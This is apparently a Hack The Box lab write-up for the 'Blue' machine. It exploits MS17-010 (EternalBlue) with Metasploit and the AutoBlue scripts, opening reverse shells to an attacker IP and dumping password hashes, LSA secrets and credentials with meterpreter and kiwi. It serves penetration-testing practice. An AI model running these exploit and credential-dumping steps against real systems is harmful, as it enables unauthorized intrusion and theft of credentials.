> For the complete documentation index, see [llms.txt](https://htb.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://htb.haydenhousen.com/old-machine-writeups/blue.md). # Blue HTB - 3. Blue (MS17.010) 1. `nmap -T4 -p- -A 10.10.10.40` shows 139 & 445 (smb) open, version Windows 7 Professional 7601 Service Pack 1, computer name is haris-PC, message signing enabled by not required, 2. Metaploit Test if vulnerable ``` sudo msfconsole search ms17-010 use auxiliary/scanner/smb/smb_ms17_010 options set rhosts 10.10.10.40 run ``` Result: Host is likely vulnerable Exploit: ``` use exploit/windows/smb/ms17_010_eternalblue set rhosts 10.10.10.40 show targets run ``` Result: shell popped with `nt authoirty/system` Used an un-staged payload, so lets try staged and get a meterpreter ``` set payload windows/x64/meterpreter/reverse_tcp options run getuid sysinfo hashdump shell route print arp -a netstat -ano load kiwi help creds_all lsa_dump_sam lsa_dump_secrets load incognito list_tokens -u ``` 3. Autoblue: ``` git clone https://github.com/3ndG4me/AutoBlue-MS17-010 cd AutoBlue-MS17-010 ls python eternalblue_checker.py 10.10.10.40 ``` Result: Target not patched Exploit: ``` cd shellcode sudo ./shell_prep.sh y 10.10.14.24 4445 4446 0 <-- Meterpreter instead of shell 0 <-- Staged instead of un-staged cd .. ls sudo ./listener_prep.sh 10.10.14.24 4445 4446 0 0 python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin sessions sessions 1 getuid whoami sysinfo ```